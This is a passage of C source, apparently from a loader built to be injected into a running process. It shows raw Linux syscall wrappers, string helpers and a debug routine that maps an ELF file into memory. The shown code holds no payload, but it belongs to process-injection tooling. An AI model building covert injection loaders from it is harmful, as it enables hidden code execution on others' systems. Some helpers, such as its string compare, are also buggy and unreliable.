710 | // Standard Library Functions (x86_64) 711 | //===============================================================================================// 712 | 713 | __attribute__((always_inline)) inline int 714 | crt_close(int fd) 715 | { 716 | 717 | long ret; 718 | asm volatile ("syscall" : "=a" (ret) : "a" (__NR_close), 719 | "D" (fd): 720 | "cc", "memory", "rcx", 721 | "r8", "r9", "r10", "r11" ); 722 | if (ret < 0) 723 | { 724 | ret = -1; 725 | } 726 | return (int)ret; 727 | } 728 | 729 | __attribute__((always_inline)) inline int 730 | crt_open (const char *pathname, unsigned long flags, unsigned long mode) 731 | { 732 | 733 | long ret; 734 | __asm__ volatile ("syscall" : "=a" (ret) : "a" (__NR_open), 735 | "D" (pathname), "S" (flags), "d" (mode) : 736 | "cc", "memory", "rcx", 737 | "r8", "r9", "r10", "r11" ); 738 | 739 | return (int) ret; 740 | } 741 | 742 | __attribute__((always_inline)) inline void* 743 | crt_mmap(void *start, unsigned long length, int prot, int flags, int fd, unsigned long offset) 744 | { 745 | void *ret; 746 | register long r10 asm("r10") = flags; 747 | register long r9 asm("r9") = offset; 748 | register long r8 asm("r8") = fd; 749 | 750 | __asm__ volatile ("syscall" : "=a" (ret) : "a" (__NR_mmap), 751 | "D" (start), "S" (length), "d" (prot), "r" (r8), "r" (r9), "r" (r10) : 752 | "cc", "memory", "rcx", "r11"); 753 | 754 | return ret; 755 | } 756 | 757 | __attribute__((always_inline)) inline int 758 | crt_munmap(void *start, unsigned long length) 759 | { 760 | 761 | long ret; 762 | asm volatile ("syscall" : "=a" (ret) : "a" (__NR_munmap), 763 | "D" (start), "S" (length) : 764 | "cc", "memory", "rcx", 765 | "r8", "r9", "r10", "r11" ); 766 | if (ret < 0) 767 | { 768 | ret = -1; 769 | } 770 | return (int)ret; 771 | } 772 | 773 | __attribute__((always_inline)) inline int 774 | crt_read(int fd, char *buffer, unsigned long bufferlen) 775 | { 776 | 777 | long ret; 778 | __asm__ volatile ("syscall" : "=a" (ret) : "a" (__NR_read), 779 | "D" (fd), "S" (buffer), "d" (bufferlen) : 780 | "cc", "memory", "rcx", 781 | "r8", "r9", "r10", "r11" ); 782 | if (ret < 0) 783 | { 784 | ret = -1; 785 | } 786 | return (int)ret; 787 | } 788 | 789 | __attribute__((always_inline)) inline int 790 | crt_stat(const char *path, void *buf) 791 | { 792 | long ret; 793 | asm volatile ("syscall" : 794 | "=a" (ret) : 795 | "a" (4), "D" (path), "S" (buf) : 796 | "memory" 797 | ); 798 | if (ret < 0) 799 | { 800 | ret = -1; 801 | } 802 | return (int)ret; 803 | } 804 | 805 | //===============================================================================================// 806 | // Standard Library Functions (portable) 807 | //===============================================================================================// 808 | 809 | __attribute__((always_inline)) inline void * 810 | crt_memcpy(void *dest, const void *src, unsigned long n) 811 | { 812 | unsigned long i; 813 | unsigned char *d = (unsigned char *)dest; 814 | unsigned char *s = (unsigned char *)src; 815 | 816 | for (i = 0; i < n; ++i) 817 | d[i] = s[i]; 818 | 819 | return dest; 820 | } 821 | 822 | __attribute__((always_inline)) inline int 823 | crt_strcmp(char *s1, char *s2) 824 | { 825 | int len1 = crt_strlen(s1); 826 | int len2 = crt_strlen(s2); 827 | int len = 0; 828 | 829 | if(len1 > len2) 830 | len = len2; 831 | else 832 | len = len1; 833 | 834 | for(int i = 0; i < len; i++) 835 | { 836 | if(*(s1 + i) != *(s2 + i)) 837 | { 838 | 839 | return -1; 840 | } 841 | } 842 | 843 | return 1; 844 | } 845 | 846 | __attribute__((always_inline)) inline unsigned long 847 | crt_strlen(const char *s) 848 | { 849 | unsigned long r = 0; 850 | for (; s && *s; ++s, ++r); 851 | return r; 852 | } 853 | 854 | /* 855 | * String hashing function used for string comparison 856 | */ 857 | __attribute__((always_inline)) inline unsigned int 858 | hash(unsigned char *word) 859 | { 860 | unsigned int hash = 0; 861 | for (int i = 0 ; word[i] != '\0' && word[i] != '@'; i++) 862 | { 863 | hash = 31 * hash + word[i]; 864 | } 865 | return hash; 866 | } 867 | 868 | //===============================================================================================// 869 | // Utility Functions 870 | //===============================================================================================// 871 | 872 | /* 873 | * Custom function to convert string to a pointer subtracts an amount to get the actual character 874 | * value and then accounts for the position in the number using multiplcation to place it in 875 | * its correct position. 876 | */ 877 | __attribute__((always_inline)) inline uint64_t 878 | convert_string_to_64bit_pointer(unsigned char *x) 879 | { 880 | uint64_t pointer = 0; 881 | uint64_t z = 1; 882 | uint64_t temp = 0; 883 | unsigned int len = crt_strlen(x); 884 | 885 | for(int i = 0; i < len; i++) 886 | z *= 16; 887 | 888 | for(int i = 0; i < len; i++) 889 | { 890 | if(*x > 60) 891 | { 892 | temp = *x - 87; 893 | } 894 | else 895 | { 896 | temp = *x - 48; 897 | } 898 | 899 | 900 | if(z == 1) 901 | { 902 | temp = temp; 903 | } 904 | else 905 | { 906 | z = z / 16; 907 | temp = temp * z; 908 | } 909 | 910 | pointer += temp; 911 | temp = 0; 912 | x++; 913 | } 914 | 915 | return pointer; 916 | } 917 | 918 | /* 919 | * Copy a file from disk into a memory buffer. WARNING Does not check size! 920 | */ 921 | __attribute__((always_inline)) inline unsigned int 922 | copy_in(int fd, void *address) 923 | { 924 | int cc; 925 | off_t offset = 0; 926 | char buf[1024]; 927 | 928 | while (0 < (cc = crt_read(fd, buf, sizeof(buf)))) 929 | { 930 | crt_memcpy((address + offset), buf, cc); 931 | offset += cc; 932 | } 933 | 934 | return offset; 935 | } 936 | 937 | //===============================================================================================// 938 | // Debug Mode Functions 939 | //===============================================================================================// 940 | 941 | #ifdef RSOI_DEBUG_MODE 942 | 943 | /* 944 | * Used to test loading capabilities separately from the injection capabilities. We can 945 | * use this to figure out whether we are dealing with a problem with our ELF loader or with 946 | * the injection script which is used to inject our loader into the target process. 947 | */ 948 | Elf64_Ehdr* load_file_debug_mode(char *debugfile) 949 | { 950 | 951 | struct stat sb; 952 | unsigned int fd; 953 | fd = crt_open(debugfile, 0, 0); 954 | if(fd == -1) 955 | { 956 | debug("[-] Could not open debug file"); 957 | exit(-1); 958 | } 959 | 960 | if (0 > crt_stat(debugfile, &sb)) 961 | { 962 | return; 963 | } 964 | 965 | void *mapped = crt_mmap(NULL, sb.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 966 | 967 | if(mapped == -1) 968 | { 969 | return; 970 | } 971 | 972 | copy_in(fd, mapped); 973 | crt_close(fd); 974 | 975 | if(check_elf_magic(mapped)) 976 | { 977 | debug("[+] Debug File ELF Header is valid"); 978 | } 979 | else 980 | { 981 | debug("[-] Debug File ELF Header is invalid ERROR!"); 982 | exit(-1); 983 | } 984 | 985 | return (Elf64_Ehdr *)mapped; 986 | } 987 | 988 | #endif 989 | void __attribute__ ((constructor)) SoMain(){ 990 | printf("somain\n"); 991 | } 992 | 993 | --------------------------------------------------------------------------------